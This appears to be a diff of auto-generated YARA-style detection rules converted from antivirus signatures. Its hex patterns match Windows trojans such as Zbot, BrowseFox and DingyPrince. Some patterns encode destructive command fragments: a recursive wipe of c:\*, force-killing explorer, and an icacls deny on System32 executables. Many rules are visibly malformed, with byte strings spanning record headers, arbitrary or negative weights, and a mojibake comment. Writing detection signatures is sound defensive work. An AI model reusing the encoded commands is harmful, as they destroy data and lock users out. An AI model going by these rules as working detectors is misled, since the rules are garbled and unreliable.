1)*2068+(#a_90_3 & 1)*257+(#a_41_5 & 1)*28857) >=1 } -rule _InfrastructureShared_18234{ +rule _InfrastructureShared_19403{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -220322,7 +234678,7 @@ rule _InfrastructureShared_18234{ ((#a_53_0 & 1)*20515+(#a_41_1 & 1)*28857+(#a_f2_2 & 1)*4098+(#a_01_3 & 1)*-31473+(#a_41_5 & 1)*8448+(#a_5f_6 & 1)*16896) >=1 } -rule _InfrastructureShared_18235{ +rule _InfrastructureShared_19404{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -220335,7 +234691,7 @@ rule _InfrastructureShared_18235{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*49+(#a_00_2 & 1)*54+(#a_01_4 & 1)*1) >=2 } -rule _InfrastructureShared_18236{ +rule _InfrastructureShared_19405{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -220348,7 +234704,7 @@ rule _InfrastructureShared_18236{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*23085+(#a_00_2 & 1)*114+(#a_30_3 & 1)*300) >=4 } -rule _InfrastructureShared_18237{ +rule _InfrastructureShared_19406{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -220362,7 +234718,7 @@ rule _InfrastructureShared_18237{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*257+(#a_55_2 & 1)*14915+(#a_5a_3 & 1)*16762+(#a_44_4 & 1)*19246) >=6 } -rule _InfrastructureShared_18238{ +rule _InfrastructureShared_19407{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 21 " @@ -220374,7 +234730,7 @@ rule _InfrastructureShared_18238{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*8704+(#a_00_3 & 1)*0) >=8 } -rule _InfrastructureShared_18239{ +rule _InfrastructureShared_19408{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -220390,7 +234746,7 @@ rule _InfrastructureShared_18239{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*103+(#a_00_3 & 1)*119+(#a_5c_4 & 1)*5632+(#a_00_6 & 1)*108+(#a_01_7 & 1)*16724+(#a_67_8 & 1)*28764) >=9 } -rule _InfrastructureShared_18240{ +rule _InfrastructureShared_19409{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -220410,7 +234766,7 @@ rule _InfrastructureShared_18240{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*25970+(#a_6b_2 & 1)*27694+(#a_61_4 & 1)*29276+(#a_21_5 & 1)*28530+(#a_65_6 & 1)*25924+(#a_01_7 & 1)*30577+(#a_34_8 & 1)*25652+(#a_78_9 & 1)*31090+(#a_50_10 & 1)*28265+(#a_01_11 & 1)*3072) >=12 } -rule _InfrastructureShared_18241{ +rule _InfrastructureShared_19410{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -220431,7 +234787,7 @@ rule _InfrastructureShared_18241{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*24937+(#a_01_2 & 1)*30789+(#a_67_3 & 1)*26979+(#a_42_4 & 1)*19745+(#a_69_5 & 1)*385+(#a_74_6 & 1)*26369+(#a_43_7 & 1)*-32494+(#a_5f_8 & 1)*29793+(#a_01_9 & 1)*19524+(#a_00_10 & 1)*25204+(#a_65_11 & 1)*31233) >=12 } -rule _InfrastructureShared_18242{ +rule _InfrastructureShared_19411{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -220454,7 +234810,7 @@ rule _InfrastructureShared_18242{ ((#a_46_0 & 1)*16675+(#a_46_1 & 1)*-32496+(#a_73_2 & 1)*17005+(#a_61_3 & 1)*26478+(#a_64_4 & 1)*26995+(#a_74_5 & 1)*28233+(#a_74_6 & 1)*21280+(#a_73_7 & 1)*29815+(#a_01_8 & 1)*28786+(#a_6f_9 & 1)*28530+(#a_6e_10 & 1)*25701+(#a_65_11 & 1)*26956+(#a_75_12 & 1)*29301+(#a_6e_13 & 1)*8293) >=15 } -rule _InfrastructureShared_18243{ +rule _InfrastructureShared_19412{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -220478,7 +234834,7 @@ rule _InfrastructureShared_18243{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29810+(#a_01_2 & 1)*27501+(#a_72_3 & 1)*30842+(#a_5f_4 & 1)*25959+(#a_00_5 & 1)*25960+(#a_42_6 & 1)*21505+(#a_6e_8 & 1)*29441+(#a_6f_9 & 1)*11641+(#a_67_10 & 1)*28531+(#a_61_11 & 1)*27758+(#a_72_12 & 1)*14930+(#a_00_13 & 1)*298+(#a_00_15 & 1)*68+(#a_44_16 & 1)*13824) >=17 } -rule _InfrastructureShared_18244{ +rule _InfrastructureShared_19413{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -220501,7 +234857,7 @@ rule _InfrastructureShared_18244{ ((#a_53_0 & 1)*20515+(#a_74_1 & 1)*28483+(#a_6f_2 & 1)*270+(#a_69_3 & 1)*30565+(#a_2e_4 & 1)*25445+(#a_65_5 & 1)*26980+(#a_76_6 & 1)*29296+(#a_44_7 & 1)*19529+(#a_00_8 & 1)*115+(#a_00_10 & 1)*116+(#a_00_12 & 1)*103+(#a_00_14 & 1)*100+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1) >=17 } -rule _InfrastructureShared_18245{ +rule _InfrastructureShared_19414{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 06 00 21 " @@ -220516,7 +234872,7 @@ rule _InfrastructureShared_18245{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*26994+(#a_65_2 & 1)*8303+(#a_65_3 & 1)*29728+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=22 } -rule _InfrastructureShared_18246{ +rule _InfrastructureShared_19415{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 08 00 21 " @@ -220531,7 +234887,7 @@ rule _InfrastructureShared_18246{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*116+(#a_00_3 & 1)*103+(#a_00_5 & 1)*100+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=22 } -rule _InfrastructureShared_18247{ +rule _InfrastructureShared_19416{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 0c 00 21 " @@ -220549,7 +234905,7 @@ rule _InfrastructureShared_18247{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*21620+(#a_72_3 & 1)*22016+(#a_43_5 & 1)*257+(#a_65_7 & 1)*1792+(#a_74_8 & 1)*25202+(#a_64_9 & 1)*25210+(#a_7a_10 & 1)*25976+(#a_63_11 & 1)*24898) >=30 } -rule _InfrastructureShared_18248{ +rule _InfrastructureShared_19417{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,29 00 29 00 17 00 21 " @@ -220565,23 +234921,22 @@ rule _InfrastructureShared_18248{ $a_0d_8 = {0f 84 93 01 00 00 c6 42 62 06 8b 56 14 ?? fa 10 72 04 8b 06 eb 02 8b c6 80 3c 38 41 7c 28 83 fa 10 72 04 8b 06 eb 02 8b c6 80 3c 38 5a 7f 17 83 fa 10 72 09 } //15488 $a_03_9 = {0f be 0c 38 8b 45 ec 0f b6 40 5a 3b c8 75 0b 8b 55 ec ?? eb c6 42 62 05 eb 69 83 fa 10 72 04 8b 06 eb 02 8b c6 0f be 0c 38 8b 45 ec 0f b6 40 5b 3b c8 75 07 8b 55 ec b3 3e } //1 $a_03_10 = {8a 4a 62 66 8b 52 60 66 d3 e2 0f b6 c3 66 0b d0 8b 45 ec ?? 89 50 60 8a 45 f3 02 c1 88 45 f3 3c 08 72 2e 04 f8 8a c8 88 45 f3 66 d3 ea 8b 4d 08 0f b6 c2 50 } //1 - $a_59_11 = {00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 41 33 21 4d 54 42 00 01 00 86 02 83 c0 01 89 45 90 01 01 8b 4d 90 1b 00 3b 0d 90 01 04 73 90 01 01 8b 55 90 1b 00 52 a1 90 01 04 50 e8 90 02 0a c1 f8 90 01 01 83 f8 90 01 01 75 90 01 01 8b 4d 90 1b 00 51 8b 15 90 1b 05 52 e8 90 02 0a 25 90 01 04 05 90 01 04 } //0 - $a_01_12 = {01 8b 45 90 01 01 8b 4d 90 01 01 03 08 8b 55 90 1b 0f 8b 84 11 90 01 04 03 45 90 01 01 8b 4d 90 1b 10 8b 55 90 1b 11 03 11 8b 4d 90 1b 0f 89 84 0a 90 01 04 eb 90 00 01 00 8d 02 83 c0 04 89 85 90 01 04 8b 8d 90 1b 00 3b 4d 90 01 01 0f 83 90 02 15 8b 95 90 1b 00 81 c2 90 01 04 89 15 90 02 10 8b 45 90 01 01 03 85 90 1b 00 89 85 90 01 04 90 02 10 8b 8d 90 1b 09 8b 11 03 95 90 1b 00 8b 85 90 1b 09 89 10 90 02 0a 8b 8d 90 1b 09 89 8d } //17801 - $a_8b_13 = {90 02 10 8b } //400 - $a_10_14 = {8b 08 89 4d 90 01 01 8b 15 90 01 04 52 8b 45 90 1b 13 50 e8 90 02 0a 89 45 90 1b } //-28539 - $a_90_15 = {10 8b 55 90 1b 13 89 11 e9 90 00 01 00 10 02 55 8b ec 51 90 02 20 8b 45 90 01 01 33 45 90 00 00 00 78 59 01 00 03 00 03 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 42 72 6f 77 73 65 46 6f 78 2e 56 00 01 00 1a 01 53 68 65 6c 6c 49 6e 73 74 61 6c 6c 65 72 44 6f 77 6e 6c 6f 61 64 46 61 69 6c 01 00 13 01 53 68 65 6c 6c 49 6e 69 74 4b 69 6c 6c 53 77 69 74 63 68 01 00 15 01 53 68 65 6c 6c 44 6f 77 6e 6c 6f 61 64 49 6e 66 } //-29933 - $a_69_16 = {01 00 26 01 7b 31 41 41 36 30 30 35 34 2d 35 37 44 39 2d 34 46 39 39 2d 39 41 35 35 2d 44 30 46 42 46 42 45 37 45 43 44 33 7d 01 00 26 01 7b 34 41 41 34 36 44 34 39 2d 34 35 39 46 2d 34 33 35 38 2d 42 34 44 31 2d 31 36 39 30 34 38 35 34 37 43 32 33 7d 01 00 26 01 7b 39 30 46 38 44 45 46 45 } //18031 - $a_37_17 = {2d 34 45 31 41 2d 39 39 42 45 2d 41 45 36 43 41 34 36 30 45 43 45 44 7d 01 00 20 03 69 6e 73 74 61 6c 6c 2e 90 11 06 00 90 12 10 00 2e 63 6f 6d 2f 66 70 3f 61 6c 70 68 61 3d 90 00 01 00 20 03 69 6e 73 } //14125 - $a_6c_18 = {90 11 06 00 90 12 10 00 2e 63 6f 6d 2f 6d 67 3f 61 6c 70 68 61 3d 90 00 01 00 20 03 69 6e 73 74 61 6c 6c 2e 90 11 06 00 90 12 10 00 2e 63 6f 6d 2f 69 66 3f 61 6c 70 68 61 3d 90 00 00 00 78 59 01 00 04 00 04 00 04 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 43 4e 5f 48 6f 6e 6b 65 72 5f 43 72 61 } //24948 - $a_72_19 = {53 48 45 4c 4c 00 01 00 3b 03 68 74 74 70 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 2f 65 72 72 6f 72 31 2e 61 73 70 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 80 03 70 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 2c 00 50 00 41 00 53 00 53 00 57 00 } //27491 - $a_00_20 = {44 00 2c 00 70 00 61 00 73 00 73 00 2c 00 50 00 41 00 53 00 53 00 2c 00 4c 00 70 00 61 00 73 00 73 00 2c 00 6c 00 70 00 61 00 73 00 73 00 2c 00 50 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 } //79 - $a_30_21 = {39 41 2d 5a 61 2d 7a } //300 - $a_03_22 = {5c 00 53 00 48 00 45 00 4c 00 4c 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a } //1 + $a_59_11 = {00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 69 6e 67 79 50 72 69 6e 63 65 2e 41 21 64 68 61 00 01 00 26 01 43 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 46 00 75 00 63 00 6b 00 2e 00 65 00 78 00 65 00 01 00 60 01 2d 00 61 00 63 00 63 00 65 00 70 00 74 00 65 00 75 00 6c 00 61 00 20 00 2d 00 72 00 20 00 } //0 + $a_00_12 = {20 00 2d 00 71 00 20 00 63 00 3a 00 5c 00 2a 00 20 00 26 00 20 00 74 00 61 00 73 00 6b 00 6b 00 69 00 6c 00 6c 00 20 00 2f 00 66 00 20 00 2f 00 69 00 6d 00 20 00 65 00 78 00 70 00 2a 00 01 00 9a 01 43 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 69 00 63 00 61 00 63 00 6c } //45 + $a_00_14 = {65 00 20 00 43 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 2a 00 73 00 6b 00 6d 00 2a 00 2e 00 65 00 78 00 65 00 20 00 2f 00 64 00 65 00 6e 00 79 00 20 00 2a 00 53 00 2d 00 31 00 2d 00 31 00 2d 00 30 00 3a 00 46 00 00 00 78 59 01 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e } //101 + $a_6e_15 = {32 2f 5a 62 6f 74 2e 53 49 42 41 33 21 4d 54 42 00 01 00 86 02 83 c0 01 89 45 90 01 01 8b 4d 90 1b 00 3b 0d 90 01 04 73 90 01 01 8b 55 90 1b 00 52 a1 90 01 04 50 e8 90 02 0a c1 f8 90 01 01 83 f8 90 01 01 75 90 01 01 8b 4d 90 1b 00 51 8b 15 90 1b 05 52 e8 90 02 0a 25 90 01 04 05 90 01 04 89 45 90 01 01 8b 45 90 01 } //22330 + $a_90_16 = {01 03 08 8b 55 90 1b 0f 8b 84 11 90 01 04 03 45 90 01 01 8b 4d 90 1b 10 8b 55 90 1b 11 03 11 8b 4d 90 1b 0f 89 84 0a 90 01 04 eb 90 00 01 00 8d 02 83 c0 04 89 85 90 01 04 8b 8d 90 1b 00 3b 4d 90 01 01 0f 83 90 02 15 8b 95 90 1b 00 } //-29951 + $a_01_17 = {04 89 15 90 02 10 8b 45 90 01 01 03 85 90 1b 00 89 85 90 01 04 90 02 10 8b 8d 90 1b 09 8b 11 03 95 90 1b 00 8b 85 90 1b 09 89 10 90 02 0a 8b 8d 90 1b 09 89 8d 90 01 04 8b 15 90 02 10 8b 85 90 1b 10 8b 08 89 4d 90 01 01 8b 15 90 01 04 52 8b 45 90 1b 13 50 e8 90 02 0a 89 45 90 1b 13 8b 8d 90 1b 10 8b 55 90 1b 13 89 11 e9 90 00 01 00 10 02 55 8b ec 51 90 02 20 8b 45 90 01 01 33 45 90 00 00 00 78 59 01 00 03 00 03 00 09 00 21 23 48 } //-15743 + $a_3a_18 = {69 6e 33 32 2f 42 72 6f 77 73 65 46 6f 78 2e 56 00 01 00 1a 01 53 68 65 6c 6c 49 6e 73 74 61 6c 6c 65 72 44 6f 77 6e 6c 6f 61 64 46 61 69 6c 01 00 13 01 53 68 65 6c 6c 49 6e 69 74 4b 69 6c 6c 53 77 69 74 63 68 01 00 15 01 53 68 65 6c 6c 44 6f 77 } //21587 + $a_61_19 = {49 6e 66 6f 46 61 69 6c 01 00 26 01 7b 31 41 41 36 30 30 35 34 2d 35 37 44 39 2d 34 46 39 39 2d 39 41 35 35 2d 44 30 46 42 46 42 45 37 45 43 44 33 7d 01 00 26 01 7b 34 41 41 34 36 44 34 39 2d 34 35 39 46 2d 34 33 35 38 2d 42 34 44 31 2d 31 36 39 30 34 38 35 34 37 43 32 33 7d 01 00 26 01 7b 39 30 46 38 44 45 46 45 2d 37 43 37 42 2d } //27758 + $a_41_20 = {39 39 42 45 2d 41 45 36 43 41 34 36 30 45 43 45 44 7d 01 00 20 03 69 6e 73 74 61 6c 6c 2e 90 11 06 00 90 12 10 00 2e 63 6f 6d 2f 66 70 3f 61 6c 70 } //17716 + $a_90_21 = {01 00 20 03 69 6e 73 74 61 6c 6c 2e 90 11 06 00 90 12 10 00 2e 63 6f 6d 2f 6d 67 3f 61 6c 70 68 61 3d 90 00 01 00 20 03 69 6e 73 74 61 6c 6c 2e 90 11 06 00 90 12 10 00 2e 63 6f 6d 2f } //24936 + $a_61_22 = {70 68 61 3d 90 00 00 00 78 59 01 00 04 00 04 00 04 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 43 4e 5f 48 6f 6e 6b 65 72 5f 43 72 61 63 6b 65 72 5f 53 48 45 4c } //26217 condition: - ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*26997+(#a_64_2 & 1)*263+(#a_0a_3 & 1)*27753+(#a_40_4 & 1)*9068+(#a_25_5 & 1)*16492+(#a_40_6 & 1)*9580+(#a_66_7 & 1)*19082+(#a_0d_8 & 1)*15488+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_59_11 & 1)*0+(#a_01_12 & 1)*17801+(#a_8b_13 & 1)*400+(#a_10_14 & 1)*-28539+(#a_90_15 & 1)*-29933+(#a_69_16 & 1)*18031+(#a_37_17 & 1)*14125+(#a_6c_18 & 1)*24948+(#a_72_19 & 1)*27491+(#a_00_20 & 1)*79+(#a_30_21 & 1)*300+(#a_03_22 & 1)*1) >=41 + ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*26997+(#a_64_2 & 1)*263+(#a_0a_3 & 1)*27753+(#a_40_4 & 1)*9068+(#a_25_5 & 1)*16492+(#a_40_6 & 1)*9580+(#a_66_7 & 1)*19082+(#a_0d_8 & 1)*15488+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_59_11 & 1)*0+(#a_00_12 & 1)*45+(#a_00_14 & 1)*101+(#a_6e_15 & 1)*22330+(#a_90_16 & 1)*-29951+(#a_01_17 & 1)*-15743+(#a_3a_18 & 1)*21587+(#a_61_19 & 1)*27758+(#a_41_20 & 1)*17716+(#a_90_21 & 1)*24936+(#a_61_22 & 1)*26217) >=41 } -rule _InfrastructureShared_18249{ +rule _InfrastructureShared_19418{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 10 00 21 " @@ -220593,17 +234948,17 @@ rule _InfrastructureShared_18249{ $a_06_4 = {8b 56 14 90 01 01 fa 10 72 04 8b 06 eb 02 8b c6 80 3c 38 41 7c 28 83 fa 10 72 04 8b 06 eb 02 8b c6 80 3c 38 5a 7f 17 83 fa 10 72 09 90 00 01 00 3d 03 0f be 0c 38 8b 45 ec 0f b6 40 5a 3b c8 75 0b 8b 55 ec 90 01 01 eb c6 42 62 05 eb 69 83 fa 10 72 04 8b 06 eb 02 8b c6 0f be 0c 38 8b 45 ec 0f b6 } //17094 $a_c8_5 = {07 8b 55 ec b3 3e 90 00 01 00 38 03 8a 4a 62 66 8b 52 60 66 d3 e2 0f b6 c3 66 0b d0 8b 45 ec 90 01 01 89 50 60 8a 45 f3 02 c1 88 45 f3 3c 08 72 2e 04 f8 8a c8 88 45 f3 66 d3 ea } //23360 $a_0f_6 = {b6 c2 50 90 00 00 00 78 } //19851 - $a_41_9 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 41 33 21 4d 54 42 00 01 00 86 02 83 } //8448 - $a_45_10 = {01 01 8b 4d 90 1b 00 3b 0d 90 01 04 73 90 01 01 8b 55 90 1b 00 52 a1 90 01 04 50 e8 90 02 0a c1 f8 90 01 01 83 f8 90 01 01 75 90 01 01 8b 4d 90 1b 00 51 8b 15 90 1b 05 52 e8 90 02 0a 25 90 01 04 05 90 01 04 89 45 90 01 01 8b 45 90 01 01 8b 4d 90 01 01 03 08 8b 55 90 1b 0f 8b 84 11 90 01 04 03 45 90 01 01 8b 4d 90 1b 10 8b 55 90 1b 11 03 11 8b 4d 90 1b 0f 89 84 0a 90 01 04 eb 90 00 01 00 8d 02 83 c0 04 89 85 } //448 - $a_8b_11 = {90 1b 00 3b } //400 - $a_01_12 = {0f } //-28595 - $a_15_13 = {95 90 } //-28541 - $a_c2_14 = {01 04 89 15 90 02 10 8b 45 90 01 01 03 85 90 1b 00 89 85 90 01 04 90 02 10 8b 8d 90 1b 09 8b 11 03 95 90 1b 00 8b 85 90 1b 09 89 10 90 02 0a 8b 8d 90 1b 09 89 8d 90 01 04 8b 15 90 02 10 8b 85 90 1b 10 8b 08 89 4d 90 01 01 8b 15 90 01 04 52 8b 45 90 1b 13 50 e8 90 02 0a 89 45 90 1b 13 8b 8d 90 1b 10 8b 55 90 1b 13 89 11 e9 90 00 01 00 10 02 55 8b ec 51 90 02 20 8b 45 90 01 01 33 45 90 } //27 + $a_41_9 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 69 6e 67 79 50 72 69 6e 63 65 2e 41 21 64 68 61 00 01 00 } //8448 + $a_00_10 = {3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 46 00 75 00 63 00 6b 00 2e 00 65 00 78 00 65 00 01 00 60 01 2d 00 61 00 63 00 63 00 65 00 70 00 74 00 65 00 75 00 6c 00 61 00 20 00 2d 00 72 } //294 + $a_00_12 = {2d 00 71 00 20 00 63 00 3a 00 5c 00 2a 00 20 00 26 00 20 00 74 00 61 00 73 00 6b 00 6b 00 69 00 } //115 -q c:\* & taskki + $a_00_13 = {20 00 2f 00 66 00 20 00 2f 00 69 00 6d 00 20 00 65 00 78 00 70 00 2a 00 01 00 9a 01 43 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 69 00 63 00 61 00 63 00 6c 00 73 00 2e 00 65 00 78 00 65 00 20 00 43 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 } //108 + $a_00_14 = {53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 2a 00 73 00 6b 00 6d 00 2a 00 2e 00 65 00 78 00 65 00 20 00 2f 00 64 00 65 00 6e 00 79 00 20 00 2a 00 53 00 2d 00 31 00 2d 00 31 00 2d 00 30 00 3a 00 46 00 00 00 78 59 01 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a } //115 + $a_57_15 = {6e 33 32 2f 5a 62 6f 74 2e 53 49 42 41 33 21 4d 54 42 00 01 00 86 02 83 c0 01 89 45 90 01 01 8b 4d 90 1b 00 3b 0d 90 01 04 73 90 01 01 8b 55 90 1b 00 52 a1 90 01 04 50 e8 90 } //28257 condition: - ((#a_6f_0 & 1)*21539+(#a_01_1 & 1)*26625+(#a_01_2 & 1)*29731+(#a_58_3 & 1)*14858+(#a_06_4 & 1)*17094+(#a_c8_5 & 1)*23360+(#a_0f_6 & 1)*19851+(#a_41_9 & 1)*8448+(#a_45_10 & 1)*448+(#a_8b_11 & 1)*400+(#a_01_12 & 1)*-28595+(#a_15_13 & 1)*-28541+(#a_c2_14 & 1)*27) >=1 + ((#a_6f_0 & 1)*21539+(#a_01_1 & 1)*26625+(#a_01_2 & 1)*29731+(#a_58_3 & 1)*14858+(#a_06_4 & 1)*17094+(#a_c8_5 & 1)*23360+(#a_0f_6 & 1)*19851+(#a_41_9 & 1)*8448+(#a_00_10 & 1)*294+(#a_00_12 & 1)*115+(#a_00_13 & 1)*108+(#a_00_14 & 1)*115+(#a_57_15 & 1)*28257) >=1 } -rule _InfrastructureShared_18250{ +rule _InfrastructureShared_19419{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -220615,7 +234970,18 @@ rule _InfrastructureShared_18250{ ((#a_46_0 & 1)*16675+(#a_8a_2 & 1)*15104+(#a_66_4 & 1)*26336) >=2 } -rule _InfrastructureShared_18251{ +rule _InfrastructureShared_19420{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 69 6e 67 79 50 72 69 6e 63 65 2e 41 21 64 68 61 00 01 00 26 01 43 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 46 00 75 00 63 00 6b 00 2e 00 65 00 78 00 65 00 01 00 60 } //16675 牔橯湡场湩㈳䐯湩祧牐湩散䄮搡慨Ā☀䌁㨀尀圀椀渀搀漀眀猀尀䘀甀挀欀⸀攀砀攀Ā怀 + $a_00_2 = {65 00 70 00 74 00 65 00 75 00 6c 00 61 00 20 00 2d 00 72 00 20 00 2d 00 73 00 20 00 2d 00 71 00 20 00 63 00 3a 00 5c 00 2a 00 20 00 26 00 20 00 74 00 61 00 73 00 6b 00 6b 00 69 00 6c 00 6c 00 20 00 2f 00 66 00 20 00 2f 00 69 00 6d 00 20 00 65 00 78 00 70 00 2a 00 01 00 9a 01 43 00 3a 00 5c 00 57 } //99 + condition: + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*99) >=3 + +} +rule _InfrastructureShared_19421{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -220627,7 +234993,7 @@ rule _InfrastructureShared_18251{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*400+(#a_90_2 & 1)*-29951) >=3 } -rule _InfrastructureShared_18252{ +rule _InfrastructureShared_19422{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 09 00 21 " @@ -220645,7 +235011,7 @@ rule _InfrastructureShared_18252{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28279+(#a_2d_2 & 1)*14147+(#a_2e_3 & 1)*27745+(#a_5f_4 & 1)*25963+(#a_00_5 & 1)*115+(#a_00_6 & 1)*111+(#a_09_7 & 1)*6544+(#a_2d_8 & 1)*31277) >=3 } -rule _InfrastructureShared_18253{ +rule _InfrastructureShared_19423{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -220658,7 +235024,7 @@ rule _InfrastructureShared_18253{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*11617+(#a_01_2 & 1)*-28672+(#a_01_3 & 1)*-28672) >=4 } -rule _InfrastructureShared_18254{ +rule _InfrastructureShared_19424{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -220671,7 +235037,7 @@ rule _InfrastructureShared_18254{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*0+(#a_00_2 & 1)*-29415+(#a_e6_3 & 1)*2092) >=4 } -rule _InfrastructureShared_18255{ +rule _InfrastructureShared_19425{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " @@ -220688,7 +235054,7 @@ rule _InfrastructureShared_18255{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=4 } -rule _InfrastructureShared_18256{ +rule _InfrastructureShared_19426{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 03 00 05 00 21 " @@ -220701,7 +235067,7 @@ rule _InfrastructureShared_18256{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*97+(#a_00_3 & 1)*105+(#a_00_4 & 1)*109) >=3 } -rule _InfrastructureShared_18257{ +rule _InfrastructureShared_19427{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -220715,7 +235081,7 @@ rule _InfrastructureShared_18257{ ((#a_46_0 & 1)*16675+(#a_58_1 & 1)*4360+(#a_83_2 & 1)*2834+(#a_13_3 & 1)*-489+(#a_17_4 & 1)*4352) >=5 } -rule _InfrastructureShared_18258{ +rule _InfrastructureShared_19428{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -220729,7 +235095,7 @@ rule _InfrastructureShared_18258{ ((#a_54_0 & 1)*18467+(#a_2b_1 & 1)*4886+(#a_5d_2 & 